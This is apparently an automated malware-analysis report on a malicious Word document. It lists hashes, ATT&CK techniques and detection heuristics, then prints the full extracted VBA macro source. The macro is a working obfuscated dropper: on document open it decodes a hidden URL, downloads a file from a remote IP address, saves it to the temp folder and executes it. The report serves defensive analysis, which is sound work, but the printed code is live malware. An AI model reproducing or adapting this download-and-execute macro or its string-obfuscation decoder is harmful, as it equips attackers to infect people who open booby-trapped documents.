Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69fdaf02ea5d9674…

MALICIOUS

Office (OLE)

126.5 KB Created: 2018-09-06 00:13:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: e34aec27d57a803d12796f6ba13d994a SHA-1: afe3c49395a10c877e36bf9986f05098f1c7d814 SHA-256: 69fdaf02ea5d967482b0f82cdc4d2280641f3154398ff4b1406a81f8d36058de
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open macro, that are designed to download and execute a second-stage payload. The document body explicitly instructs the user to enable content, which is a common social engineering tactic. The critical heuristic OLE_VBA_HTTP_DROP_EXEC confirms the macro's intent to download and save a file, likely the payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§ = »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´© = Environ("tmp") + ¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«("\ZFQHVâTWG.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9273 bytes
SHA-256: a28fed00dea4bea9ff5d31bd73665935f757d84b311752578799357108d4b223
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function ¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«(£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®)
        ¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®)
            ½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾ = InStr(¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹, Mid(£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®, i, 1))
            If ½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾ > 0 Then
                µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯ = Mid(ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´, ½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©¢¢¸º¼·©¡¥¯¶¸«¶¸¯¾, 1)
                ¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯ = ¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯ + µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯
            Else
                ¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯ = ¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯ + Mid(£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®, i, 1)
            End If
        Next
        ¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦« = ¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯
    End Function

Private Sub Document_Open()
Dim »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º
Set »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º = CreateObject("microsoft.xmlhttp")
Dim ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©
Dim ¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯
Set ¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯ = CreateObject("Shell.Application")

ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´© = Environ("tmp") + ¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«("\ZFQHVâTWG.ÂÛÂ")
»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.Open "GET", ¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«("hÖÖÓ://²00.6³.45.105/ÙÓdÀÖÂ/FGV§.ÂÛÂ"), False
»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.send
ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§ = »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.responseBody
If »©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º.Status = 200 Then
Set º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª = CreateObject("adodb.stream")
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.Open
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.Type = 1
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.Write ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª¬²©£²¡¶¯¯¢¡µ¬¸¦´¨¤·¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.SaveToFile ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©, 2
º¼·©¡¥¯¶¸«¶¸¯¾µ¼¤¤½®¦»¨º¦µ«µ»¸¬¹©¼¬¨«¤¶¿«ª¥¹¶§¦½¯£³¤¾¼¼»¾¶¹½§¹¸®»½¸¨¹£¥¿¹ª¿º¬§¾¾··¨£µª²ª´¾©¾½¹ª.Close
End If
¼¶¦©©ª§¿»¿³¬º«©¨¬²«·£¥¬°¦«£´§§¯¸§·¾¨»©½¯°§¨¬¡£»§¸»¹¿®¥¸¹¾ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯.Open (ª®´½¦¶®½·¥°°°³¦ª¦¼««¢°²£¼ª¯·¤£º¤¢·½¦³¥®³¯¿²©°¨¥º¥²¢¹·ª³®¼º®¤µ®»¯¡¤¾¿´¿¬§®µº»º¼¥¡´©)


End Sub

Attribute VB_Name = "NewMacros"
Sub hihgrt()
'
' hihgrt Macro
'
'

End Sub

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